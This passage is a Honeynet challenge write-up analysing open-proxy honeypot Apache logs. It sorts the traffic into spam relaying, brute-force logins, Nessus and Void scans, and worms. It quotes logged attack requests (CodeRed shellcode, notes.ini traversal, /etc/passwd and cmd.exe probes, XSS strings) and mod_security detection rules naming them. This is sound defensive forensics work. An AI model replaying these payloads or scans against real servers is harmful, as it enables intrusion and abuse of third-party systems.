The Challenge:
Open Proxy servers are a big problem on the Internet. Not only can an
improperly secured proxy server expose your internal network to attack (yes,
you heard me right, attackers can leverage unsecured proxy servers to
identify/connect to internal systems Lamo's Adventures in
WorldCom), but also these systems are used to obscure the true origin of
web-based attacks. In order to gather data on these types of attack channels,
the Honeypots: Monitoring and
Forensics Project deployed a specially configured Apache web server,
designed specifically for use as a honeypot open proxy server or ProxyPot.
Please review the honeynet whitepaper entitled Open Proxy
Honeypot for in depth details of the configurations. This paper will
provide important background information to aid in your analysis of the SoTM
data. As a reference we provide the following key to data:
a. Honeynet Web Server Proxy IP sanitized to: 192.168.1.103
b. Honeynet Web Server Proxy Hostname sanitized to: www.testproxy.net
Download the Image (25 MB)
c36d39dfd5665a58d7cea06438ceb96d apache_logs.tar..gz
Initial Steps
1.
Download the apache_logs.tar.gz file onto my Redhat Linux
host
2.
Checked the MD5 has of the file to verify successful file
integrity
# md5sum apache_logs.tar.gz
c36d39dfd5665a58d7cea06438ceb96d apache_logs.tar..gz
|
3.
Gunzip and untar the archive
# gunzip
apache_logs.tar.gz ; tar –xvf apache_logs.tar
logs/access_log
logs/audit_log
logs/error_log
logs/modsec_debug_log
logs/ssl-access_log
logs/ssl-error_log
logs/ssl_engine_log
logs/ssl_mutex.19660
logs/ssl_mutex.953
logs/ssl_request_log
logs/upload/
logs/upload/20040311-184310-68.0.178.69-GoodMrorning.htm
logs/upload/20040313-121627-24.165.131.110-Goo5dMorning.htm
logs/upload/20040313-132411-67.81.34.7-GoodMorkning.htm
logs/upload/20040313-145020-66.17.107.246-GoodMo0rning.htm
logs/upload/20040313-162733-68.198.16.66-GoocdMorning.htm
logs/upload/20040313-170722-24.136.227.15-GoodMoorning.htm
logs/upload/20040313-174514-68.41.205.235-GoodMornding.htm
|
4.
CD into the logs directory and get a directory listing so
that I would have an idea of the log file sizes I would be dealing with
# cd logs ; ls –l
total 294764
-rw-r--r--
1 root root 43017422 Mar 15 12:15 access_log
-rw-r--r--
1 root root 175754692 Mar 15 15:57 audit_log
-rw-r--r--
1 root root 80243127 Mar 15 16:01 error_log
-rw-r--r--
1 root root 231293 Mar 13 11:05 ssl-access_log
-rw-r--r--
1 root root 1234677 Mar 14 11:08 ssl_engine_log
-rw-r--r--
1 root root 789751 Mar 13 11:05 ssl-error_log
-rw-------
1 nobody root 0 Mar 11 19:46 ssl_mutex.19660
-rw-------
1 nobody root 0 Mar 13 23:18 ssl_mutex.953
-rw-r--r--
1 root root 222041 Mar 13 11:05 ssl_request_log
drwxr-xr-x
2 root root 4096 Mar 16 16:14 upload
|
Questions
1.
How do you think the attackers found the honeyproxy?
Answer: Most likely, the “real” people who
were using the honeyproxy (as a proxy) and not a direct attack by worms and
such, found the honeyproxy by using a list from an Open Proxy List Website.
Details: Keep in mind that, as with any
honeypot/net deployment, there is some trial and error involved (but hey,
that is why we are doing this – to learn).
When I first deployed the honeyproxy with the configuration outlined
in the Open Proxy Honeypot paper above, I monitored it for a few days. There wasn’t too much traffic except that
of our familiar old friends CodeRed, NIMDA, etc… With a small set in data to analyze, I was able to update the
configurations with some advancements.
One of the configuration changes was to implement an additional HTTP
response header to warn the users of monitoring (Warning: Subject To
Monitoring). In order to verify these
headers and check the proxy anonymity, I decided to use some of the proxy
checking applications on some web sites - http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=proxy+check. What is interesting is that while almost
all of these sites offer tools so a security conscience client can check
their own proxy to verify that it is secured correctly, they will always add
an open proxy that is finds to a public list. Here is a perfect example:
·
Proxy Checking Tool – http://www.checker.freeproxy.ru/checker/
·
Open Proxy List at the same website - http://www.checker.freeproxy.ru/checker/last_checked_proxies.php
It didn’t take long for the honeyproxy’s IP
to propagate to other proxy lists and all of a sudden the traffic spiked
significantly. It was at this point
that I knew I was ready to officially deploy the honeyproxy for the SoTM
Challenge. The official start time
was Tue Mar 9 22:02:41 2004
(according to the first line in the error_log). If you compare this to the first log entry in the access_log
file (09/Mar/2004:22:03:09 –0500) you will see that the first client request
came only 28 seconds after the honeyproxy started up. Without the background information
outlined above, it would seem odd to receive actual proxy requests this fast.
2.
What different types of attacks can you identify? For each
category, provide just one log example and detail as much info about the
attack as possible (such as CERT/CVE/Anti-Virus id numbers). How many can you
find?
Answer: One of the main benefits of
honeypots/nets is that your logging should only capture malicious activity,
reducing the amount of data to analyze.
While this is the case, comparatively speaking to normal production
NIDS deployments, this does not necessarily mean that the data sets will be
“small”. The honeyproxy gathered ~
295 MB of data in the log files. This
is not a small amount of data if you are manually reviewing the logs. Anytime you have a large data set, you
must develop an method to parse/analyze the logs looking for signs of
attack/abuse/malicious intent. So,
before we can answer “What” attacks are present in the various Open Proxy
Honeypot logs, we need to figure out “How” we are going to identify these attacks. Even though, technically, all of the log
data captured by the proxypot is suspect by nature, our methods should still
be applicable to normal web server log file analysis. Below are the different ways in which I
identified and quantified the various attacks:
Search Logs For Mod_Security-Message: When Mod_Security
identifies a problem with a request due to a security violation, it will do
two things – 1) Add in some additional client request headers stating why
mod_security is taking action, and 2) Log this data to the audit_log and
error_log files. These error messages
can be triggered by Mod_Security special checks such as the
SecFilterCheckURLEncoding directive, basic filters such as “\.\.” to prevent
directory traversals and advanced filters based on converted snort rules.
Search Logic: Show
me all of the audit_log entries that have the mod_security-message header,
then sort the results, then only show me unique entries with a total count of
each type in reverse order from highest to lowest, then remove the
mod_security-message data at the beginning of each line and list the results
with the less command.
Search Command: The
command string below will accomplish the search logic from above.
# egrep 'mod_security-message'
audit_log | sort | uniq -c | sort -rn |sed "s/mod_security-message\:
Access denied with code 200\. //g" | sed
"s/mod_security-message\: Warning\. //g" | less
51746
Pattern match "Basic" at HEADER.
6138
Pattern match "passwd\=" at THE_REQUEST.
5852
Pattern match "/search" at THE_REQUEST.
5368
Pattern match "passwd=" at THE_REQUEST.
4826
Pattern match "\.asp" at THE_REQUEST.
3694
Pattern match "login.icq.com" at THE_REQUEST.
1971
mod_security-message: Invalid character detected
1935
Pattern match "/smartsearch\.cgi" at THE_REQUEST.
1887
Pattern match "cmd\.exe" at THE_REQUEST.
1387
Pattern match "/sh" at THE_REQUEST.
816
Pattern match "\.\." at THE_REQUEST.
343
Pattern match "password\=" at POST_PAYLOAD.
301
Pattern match "/root\.exe" at THE_REQUEST.
296
Pattern match "81.171.1.165" at REMOTE_ADDR.
276
Pattern match "/ikonboard\.cgi" at THE_REQUEST.
242
Pattern match "200" at THE_REQUEST.
224
Pattern match "/index\.html" at THE_REQUEST.
192
Pattern match "<[[:space:]]*script" at THE_REQUEST.
186
Pattern match "/etc/passwd" at THE_REQUEST.
169
Pattern match "/index\.php" at THE_REQUEST.
137
Pattern match "/login" at THE_REQUEST.
135
Pattern match "/exec/" at THE_REQUEST.
124
Pattern match "/perl/" at THE_REQUEST.
81
Pattern match "\?&" at THE_REQUEST.
69
Pattern match "passwd\=" at POST_PAYLOAD.
68
Pattern match "/c/" at THE_REQUEST.
63
Pattern match "TRACE" at THE_REQUEST.
63
Pattern match "passwd=" at POST_PAYLOAD.
63
Pattern match "/banners/" at THE_REQUEST.
--CUT--
|
By looking at the bolded
entries listed above, it appears that there are a large number Brute Force
Attempts (Basic Authentication Headers and Password Credentials submitted in
the URL field and POST_PAYLOAD).
Utilization of the AllowCONNECT Proxying Capabilities: Our set-up of the
proxypot allowed proxying to a wide variety of ports/protocols that are
targeted by attackers. These include
ports 25 (SMTP) and 6667/6666 (IRC).
Since these connection attempts will not trigger Mod_Security, we can
not use the same search technique above to gather statistics. We will need to filter our search on HTTP
requests that use these specific port numbers.
Search Logic: Search the access_log
file for all CONNECT requests, filter the output to only display the URL portion,
only show unique entries and then sort in reverse order from highest to
lowest and display with less.
Search Command: The command string
below accomplishes the search logic from above.
# egrep "CONNECT .*:.* HTTP"
access_log | awk '{print $6, $7, $8}' | sort | uniq -c | sort -rn |less
10928
"CONNECT login.icq.com:443 HTTP/1.0"
474
"CONNECT 200.221.11.50:25 HTTP/1.0"
422
"CONNECT mx.freenet.de:25 HTTP/1.0"
340
"CONNECT mx.pchome.com.tw:25 HTTP/1.0"
303
"CONNECT 207.153.203.64:25 HTTP/1.0"
246
"CONNECT 200.154.55.2:25 HTTP/1.0"
237
"CONNECT mx0.gmx.net:25 HTTP/1.0"
199
"CONNECT irc.data.lt:6667 HTTP/1.0"
176
"CONNECT 200.210.55.201:25 HTTP/1.0"
155
"CONNECT 203.176.60.240:25 HTTP/1.0"
134
"CONNECT lobosuelto.arnet.com.ar:25 /
127
"CONNECT 200.142.77.19:25 HTTP/1.0"
120
"CONNECT 195.54.159.109:6667 HTTP/1.0"
119
"CONNECT smtp.taiwan.com:25 HTTP/1.0"
118
"CONNECT www.bzwbk.pl:443 HTTP/1.1"
118
"CONNECT wacek.one.pl:2019 HTTP/1.1"
114
"CONNECT wumt.westernunion.com:443 HTTP/1.0"
112
"CONNECT www.ip-relay.com:443 HTTP/1.1"
106
"CONNECT irc.quakenet.org:6667 HTTP/1.0"
99
"CONNECT 200.201.133.83:25 HTTP/1.0"
97
"CONNECT 192.168.1.103:80 HTTP/1.1"
96
"CONNECT 148.235.52.50:25 HTTP/1.0"
92
"CONNECT mx.apol.com.tw:25 HTTP/1.0"
87
"CONNECT mx.seed.net.tw:25 HTTP/1.0"
82
"CONNECT www.helllabs.com.ua:80 HTTP/1.0"
81
"CONNECT mx1.giga.net.tw:25 HTTP/1.0"
71
"CONNECT maila.microsoft.com:25 HTTP/1.0"
67
"CONNECT 208.218.130.51:25 HTTP/1.0"
66
"CONNECT mx1.yam.com:25 HTTP/1.0"
--CUT--
|
The bolded entries
listed above show clients using the CONNECT method to have our proxypot
connect to other systems on port 25 (SMTP).
This is a sure sign of SPAMMERS.
Search Logs For Abnormal HTTP Status Codes: The Mod_Security
default action settings were to generate a “200” status code for identified
attacks. This action was to “trick”
malicious proxypot users into thinking that their attack were successful. This means that this means that we cannot
solely rely on status codes of “200 OK” to indicate that everything is
normal. With this in mind, we can
still analyze any status codes that were not “200 OK” and assess the results.
Search Logic: Search the audit_log
file for all of the HTTP Response Codes returned by our proxypot, then remove
all HTTP version info, next only show unique entries in reverse order.
Search Command: The command strings
below accomplishes the search logic from above.
# egrep "^HTTP/" audit_log | sed
"s/HTTP\/[01].[019] //g" | sort | uniq
508 unused
503 Service Unavailable
503 Service Temporarily Unavailable
503 Server Error
502 Proxy Error
502 Gateway Error
502 Bad Gateway
501 OK
501 Not Implemented
501 Method Not Implemented
500 Server Error
500 Proxy Error
500 Internal Server Error
416 Requested Range Not Satisfiable
414 Request-URI Too Large
411 Length Required
410 Gone
408 Request Timeout
406 Not Acceptable
405 Method Not Allowed
404 Object Not Found
404 Not Found
404 Not found
404 File Not Found
404 Condition Intercepted
404
403 Forbidden
403 Access Forbidden
401 Unauthorized
401 Unauthorised
401 Authorization Required
401 Access Denied
400 Bad Request
304 Not Modified
303 See Other
302 Temporary Relocation
302 Temporarily Moved
302 Redirecting
302 Redirected Request
302 Redirected
302 Redirect
302 R
302 OK
302 ok
302 Object Moved
302 Object moved
302 Moved Temporarily
302 MOVED
302 Moved
302 Found
302 Document Moved
302
301 Moved Perminantly
301 Moved Permanently
301 Moved
301 Error
206 Partial Content
206 Partial content
204 No Content
200 Proxy test OK
200 Okay
200 OK 2001
200 OK
200 Ok
200 ok
200 Document follows
200 Content-type: text/html
200 Apple
200
(null)
HTTP/3.14 200 OK
|
Generally speaking, any HTTP Status Code in the
4XX-5XX ranges should be investigated (bolded above). Additionally, there are a few status codes
that are abnormal – (null) which is caused by CONNECT Method requests and
others which hare mis-spelled – “Moved Perminantly”.
HTTP Request Methods: Many web-based
attacks will use standard request methods such as GET, HEAD and POST. There are many attacks, however, that use
other request methods such as TRACE, SEARCH and DELETE. By analyzing these request methods, it may
be possible to identify different attacks.
Search Logic: Search the access_log
file for all entries, then only display the HTTP Request Method portions,
next only show unique entries and then sort in reverse order from highest to
lowest.
Search Command: The command strings
below accomplishes the search logic from above.
# cat access_log | awk '{print $6}' | sort |
uniq -c | sort -rn |less
120036
"GET
37543
"HEAD
27529
"CONNECT
16550
"POST
257
"\x04\x01"
170
"\x05\x01"
68
"OPTIONS
20
"\x05\x02"
15
"SEARCH
13
"
12 "PUT
7
""
6
"TRACE
6
"GET"
5
"PROPFIND
4
"get
3
"\x04\x01#(\xd5$d\xc6"
3
"\x04\x01\x1a\vR\x92,j\rquit
3
"some
3
"Secure
3
"QUIT"
3
"NESSUS
3
"GET\t/\tHTTP/1.0"
3
"GET/HTTP/1.0"
3
"DELETE
3
"COPY
2
"\x04\x01\x1a\v\xd5\x83\x83\x9b\rquit
2
"a"
1
"\x04\x01\x1a\v\xc2m\x81\xdc"
1
"\x04\x01\x1a"
1
"\x04\x01\x13\xba\xd8\x9b\xc1\x80"
1
"\x04\x01\x04\x1f\xd5\xceH\x95"
1
"\x04\x01+g\xc2m\x99\x02"
1
"67.28.114.33:25"
|
These HTTP Request Methods indicate that a few
things: 1) That of the normal methods (GET, HEAD and POST) there were a large
number of HEAD requests indicating Brute Force attempts, and 2) There are a
large number of non-valid request methods.
Each of these abnormal request methods should be investigated.
Non-HTTP Compliant Requests: HTTP Requests that
are compliant with the protocol should have the following composition –
<Request Method> <Universal Resource Identifier> <Protocol
Version> <Linefeed/Return>.
Example: Get /index.html HTTP/1.0.
When attackers are probing and exploiting
vulnerable servers/applications, they often send requests that deviate from
the proper HTTP Request format to accomplish the exploit or nudge the app
into revealing desired information such as error text, etc…
Search Logic: Search the audit_log
file for all “Error:” entries, then do not display entries that are not HTTP
RFC applicable, next sort and only show unique entries with less.
Search Command: The command strings
below accomplishes the search logic from above.
# egrep "Error\: " audit_log | egrep
-v 'mod_security|File does not exist|proxy server could not handle|client
denied by server configuration|Transfer-Encoding|unable to stat|proxy|search
permissions|invoke directory as script' | sort | uniq |less
Error: client sent HTTP/1.1 request without
hostname (see RFC2616 section 14.23): /
Error: client sent HTTP/1.1 request without
hostname (see RFC2616 section 14.23): /top.html
Error: client sent HTTP/1.1 request without
hostname (see RFC2616 section 14.23): /uoi{%&a
mp;<qqfn`1yn}bqlw|^?wim+nmr&hskyuwk&wo|}.nvux)^MXhRqVlTuXIDT][FX_Z-}]MFX_IDT]MF
WO{bqN|y7Kab;Mnz^?CmSfE}eNP^?2p^?&BjSUDTEyy^?HIDT]P^1G.+Nn|ACjIDT]M0uecVPsM~^?\oDTE%20
eB{JRPs$yC_.Sr*~DAS(cfMkzv$^?zPozCBjcF;*fQ6^gEOE%eCGhSfclzG(eFOQ$e^?KgdPJ-_Or)R~tay^?KcE]*
k[BH!]KR%TOLoa\w~CO!)UfE}CDL!RB^kDAGn\AJ%20Tu]*^KV&Tf\bb~
Error: Client sent malformed Host header
Error: Invalid method in request 67.28.114.33:25
Error: Invalid method in request a
Error: Invalid method in request get / http/1.0
Error: Invalid method in request GET/HTTP/1.0
Error: Invalid method in request NESSUS /
HTTP/1.0
Error: Invalid method in request QUIT
Error: Invalid method in request SEARCH /G3uWK53a
HTTP/1.1
Error: Invalid method in request SEARCH /
HTTP/1.1
Error: Invalid method in request SEARCH
/zjY520hy HTTP/1.1
Error: Invalid method in request SEARCH
/zrg6Ndgf HTTP/1.1
Error: Invalid URI in request
^D^A^Z^KÂm<81>Ü
Error: Invalid URI in request CONNECT HTTP/1.0
Error: Invalid URI in request GET
%20.box//../../../../../lotus/domino/notes.ini HTTP/1.1
Error: Invalid URI in request GET
%20.box/../../../../../lotus/domino/notes.ini HTTP/1.1
--CUT—
Error: Reason: You're speaking plain HTTP to an
SSL-enabled server port.<BR>
Error: request failed: error reading the headers
Error: request failed: URI too long
Error: Request header field is missing colon
separator.<P>
Error: The request line contained invalid
characters following the protocol string.<P>
|
The bolded entries above have identified problems
when clients do not adhere to the RFC standard. All of these entries should be reviewed to determine what
caused these error messages.
Armed with these different analysis categories, I
analyzed the log files with standard *nix text utilities such as grep, awk
and sed searching for specific signs of abuse.
2.1 Attack
Category- SPAMMERS: The large majority of users of the proxypot were
SPAMMERS trying to send their email through our server to hide their true
location and make it hard to track down the emails origin.
Number of Log
Entries: 23562
Search Logic: Search
the audit_log file for all requests for well-known CGI email programs and
CONNECT requests to a host on port 25.
Search Command: grep Request audit_log | egrep -i
'formmail|sendmsg.cgi|mail|\:25 HTTP' | less
Example Entry:
In the audit_log entry below, the client is attempting to send email through
our proxy onto the www.centrum.is host
and send an email through the FormMail.pl CGI script. Luckily, Mod_Security intercepted this
request due to URL Encoding problems in the body of the email, and thus it
was never forwarded on to the destination host.
========================================
Request: 67.83.151.132 - - [Wed Mar 10 02:59:14
2004] "POST http://www.centrum.is/cgi-bin/
FormMail.pl HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: Invalid character detected
[13]
----------------------------------------
POST http://www.centrum.is/cgi-bin/FormMail.pl
HTTP/1.1
Accept: */*
Connection: Close
Content-Length: 412
Content-Type: application/x-www-form-urlencoded
Host: www.centrum.is
Proxy-Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows 98; AIRF; .NET CLR 1.0.3705)
mod_security-action: 200
email=franceq5@tipnet.com&realname=franceq5@tipnet.com&recipient=<addhominem@aol.com>www.c
entrum.is%2C&subject=11%3A58%3A07%20PM%20Please%20read!%20%20%3D)+++++++++++++2a&1m=%0D%0A
%0D%0A%0A%0A%0A%0A%0A%0D%0Anob%0D%0A%0D%0Aaddhominem%20Visit%20http%3A%2F%2Fconnect.to%2Ff
riendscams%20and%20view%20these%20girls%20for%20FREE!%0D%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0D%
0A11%3A58%3A07%20PM%0D%0A3%2F9%2F2004%0A%0A%0A%0A0pf
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
========================================
|
When email is sent through a web server CGI
script like this, the SMTP MIME headers will not include any data prior to
leaving this host. This means that
normal SMTP trace-back techniques will not lead to the 67.83.151.132 host
unless web logs are correlated.
CVE Info: http://www.securityfocus.com/bid/3955/info/
or http://icat.nist.gov/icat.cfm?cvename=CAN-2001-0357
2.2
Attack Category- Brute Force Authentication Attacks: There
were a very large number of attacks against password protected content. There were three different type of
authentication being targeted by attackers, GET (with Username/Password in
the URL field), POST (with user credentials in the post payload) and HEAD
(with Basic Authentication Header added).
We will discuss Brute Force Attacks later in question 5.
2.3
Attack Category- Vulnerability Scans: There were two
different vulnerability scans identified in the log files. One was conducted using the Nessus (http://www.nessus.org) tool and another
using Void (http://www.packetstormsecurity.org/UNIX/cgi-scanners/exp.dat).
Nessus Scan Number
of Log Entries: 10296
Search Logic: Search
the access_log file for all entries with the word Nessus in them and show
with the less command.
Search Command: grep Nessus access_log | less
Example Entry: The
example entries below show that a Nessus vulnerability scan was conducted
against our proxypot on March 12th at 10:30 pm. You can easily identify this as a Nessus
scan due to the User-Agent field data.
217.160.165.173 - - [12/Mar/2004:22:30:20
-0500] "GET / HTTP/1.1" 200 4320 "-" "Mozilla/4.75
[en] (X11, U; Nessus)"
217.160.165.173 - - [12/Mar/2004:22:30:20
-0500] "GET /cfanywhere/index.html HTTP/1.1" 404 301
"-" "Mozilla/4.75 [en] (X11, U; Nessus)"
217.160.165.173 - - [12/Mar/2004:22:30:20
-0500] "GET /docs/servlets/index.html HTTP/1.1" 404 304
"-" "Mozilla/4.75 [en] (X11, U; Nessus)"
217.160.165.173 - - [12/Mar/2004:22:30:20
-0500] "GET /jsp/index.html HTTP/1.1" 404 294 "-"
"Mozilla/4.75 [en] (X11, U; Nessus)"
217.160.165.173 - - [12/Mar/2004:22:30:21
-0500] "GET /webl/index.html HTTP/1.1" 404 295 "-"
"Mozilla/4.75 [en] (X11, U; Nessus)"
217.160.165.173 - - [12/Mar/2004:22:30:21
-0500] "GET /./WEB-INF/ HTTP/1.1" 404 288 "-"
"Mozilla/4.75 [en] (X11, U; Nessus)"
--CUT--
|
Some interesting info on
this scan:
·
The client IP address of the scan is from a website
called – http://port-scan.de. Interestingly, this site will allow you to
run port scans, vulnerability scans, etc… against a site and it will email
you the results. Supposedly, you can
only run it against your own IP address, however the client IP address can be
easily spoofed in the data sent to the http://www.port-scan.de/cgi-bin/portscan.cgi
script.
·
Even though we were leveraging the Snort web-attack
files, Nessus has such as large number of attacks that it checks for that we
would have missed a bunch of these requests since we did not have a signature
in the snortmodsec-rules.txt file.
You can see which requests we missed when the proxypot issues a “404”
status code. If we had a
corresponding signature, the proxypot would have issued a “200”.
·
I decided to take the same approach that we have done
with converting the Snort rules into mod_security rules with the nessus web
entries. I extracted all of the
entries for the Nessus vulnerability scan, used awk and sed to get the URL
Request info and format it appropriately and then used the snort2modsec.pl
script to create new nessus/mod_security filters. Below are some example of the converted rules:
SecFilterSelective THE_REQUEST
"/changepw\.exe"
SecFilterSelective THE_REQUEST
"/chassis/config/GeneralChassisConfig\.html"
SecFilterSelective THE_REQUEST "/chat/data/usr"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus10723
34298&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus13302
55257&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus18851
153&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus45687
6491&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus71361
4187&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat_dir/register\.php\?register=yes&username=nessus81870
5952&email=<script>x=10;</script>&email1=<script>x=10;</script>"
SecFilterSelective THE_REQUEST
"/chat/msg\.txt"
SecFilterSelective THE_REQUEST
"/chat/!pwds\.txt"
--CUT--
|
The full nessusmodsec-rules.txt file that I
created can be downloaded here – http://honeypots.sourceforge.net/nessusmodsec-rules.txt.
Void Scan Number of
Log Entries: 407
Search Logic: Search
the access_log file for all entries with the word “by void” in them (ignoring
case) and show with the less command.
Search Command: grep -i "By Void" access_log |
less
Example Entry: The
example entries below show that a Void vulnerability scan was conducted on
March 13th at 2:34 pm. You
can easily identify this as a Void scan due to the data appended to the URL
request. This scan was different than
the Nessus scan because it was not conducted against our proxypot, but rather
through our proxy to other web sites.
This was a distributed scan against a number of port web sites. Example data is below.
24.127.175.68 - - [13/Mar/2004:14:34:38 -0500]
"GET http://38ee.com/members/index.html/cgi-bin/textcounter.pl;Command
execution as httpd;by Void; HTTP/1.0" 400 373 "-"
"-"
24.127.175.68 - - [13/Mar/2004:14:34:50 -0500]
"GET http://4realswingers.com/members//cgi-bin/websendmail;'passwd'
retrieve;by Void; HTTP/1.0" 400 373 "-" "-"
24.127.175.68 - - [13/Mar/2004:14:35:03 -0500]
"GET http://SwingForDollars.com/members/cgi-bin/nph-publish;File
modification;by Void; HTTP/1.0" 400 373 "-" "-"
24.127.175.68 - - [13/Mar/2004:14:35:32 -0500]
"GET http://5starasians.com/members/pages/i
ndex.html/cgi-win/uploader.exe;Website 1.x
classic;by Void; HTTP/1.0" 400 373 "-" "-"
24.127.175.68 - - [13/Mar/2004:14:36:06 -0500]
"GET http://amandaryder.com/members//iisadm
pwd/anot.htr;IIS web password change;by Void;
HTTP/1.0" 400 373 "-" "-"
24.127.175.68 - - [13/Mar/2004:14:36:37 -0500]
"GET http://amazinglatinas.com/members/iisa
dmpwd/achg.htr;IIS web password change;by Void;
HTTP/1.0" 400 373 "-" "-"
24.127.175.68 -
- [13/Mar/2004:14:36:51 -0500] "GET
http://ambersmith.net/members/p1-ff-fi
rstnudes.html/cgi-bin/upload.pl;Sambar server
upload explo;by Void; HTTP/1.0" 400 373 "-"
"-"
--CUT--
|
You can download the Void
scan request file from Packetstorm - http://www.packetstormsecurity.org/UNIX/cgi-scanners/exp.dat.
Some interesting info on
this scan:
·
The client IP address of the scan resolves to
c-24-127-175-68.we.client2.attbi.com, which seems to be a home user on the
Comcast Cable network in California.
·
After searching the access_log and audit_log for this
IP address, it appears that this server is a proxy server as well. How did I determine this? Well, we will talk about identifying proxy
uses in a later section, however that will deal with inspecting additional
HTTP Request Headers. I identified
this architecture by the unusually high number of different User-Agents from
this IP address. I searched the
audit_log for requests from this IP and then extracted the User-Agents. Below is a list of some of the User-Agents
Identified:
# egrep 'User-Agent|24.127.175.68' audit_log |
egrep -A1 24.127.175.68 | grep User-Agent | sort | uniq -c | sort -rn
1328
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
120
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.0
[en]
118
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
115
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
82
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b)
Gecko/20030516 Mozilla Firebird/0.6
44
User-Agent: Mozilla/3.0 (compatible)
26
User-Agent: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)
20
User-Agent: Mozilla/5.0 ( compatible; [en]; Windows NT4.0; athome0107 )
19
User-Agent: Mozilla/4.73 ( compatible; [de]; Windows XP; Compaq )
19
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
17
User-Agent: Mozilla/4.7 ( compatible; [en]; Windows 95; DigiExt )
15
User-Agent: Mozilla/4.0 (compatible; MSIE 5.02; Windows 98)
12
User-Agent: Mozilla/4.0 (compatible; ICS)
6 User-Agent: Mozilla/4.73 [en] (Win98;
U)
6
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
5
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
4
User-Agent: Mozilla/4.75 [en] (Win98; I)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.0.3705)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
4
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera
7.21 [ja]
3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.0.3705)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705;
.NET CLR 1.1.4322)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)
3
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
3
User-Agent: Mozilla/4.0
--CUT--
|
If this were a single
user, there would not be this much variation in the User-Agent fields.
2.4 Attack
Category- Web-Based Worms: There were three different type of web worms
identified in the log files.
·
CodeRed - The "Code Red" worm is malicious
self-propagating code that exploits Microsoft Internet Information Server
(IIS)-enabled systems susceptible to the vulnerability described in CA-2001-13 Buffer
Overflow In IIS Indexing Service DLL. Its activity on a compromised
machine is time senstive; different activity occurs based on the date (day of
the month) of the system clock. http://www.cert.org/advisories/CA-2001-23.html.
Number of CodeRed
Log Entries: 47 from the following hosts:
# grep default.ida access_log | awk '{print $1}'
| sort | uniq
68.33.135.114
68.35.27.102
68.39.75.108
68.47.154.190
68.47.248.156
68.48.110.231
68.48.205.207
68.48.221.167
68.48.224.107
68.48.42.69
|
Search Logic: Search the access_log file
for all entries with the word “default.ida” in them and show with the less
command.
Search Command: grep default.ida access_log | less
Example Entry: The example entries below
show some CodeRed requests.
# grep default.ida access_log |less
68.48.205.207 - - [10/Mar/2004:19:14:37 -0500]
"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780
1%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 200 566 "-"
"-"
68.48.205.207 - - [10/Mar/2004:20:03:46 -0500]
"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780
1%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 200 566 "-"
"-"
--CUT--
|
·
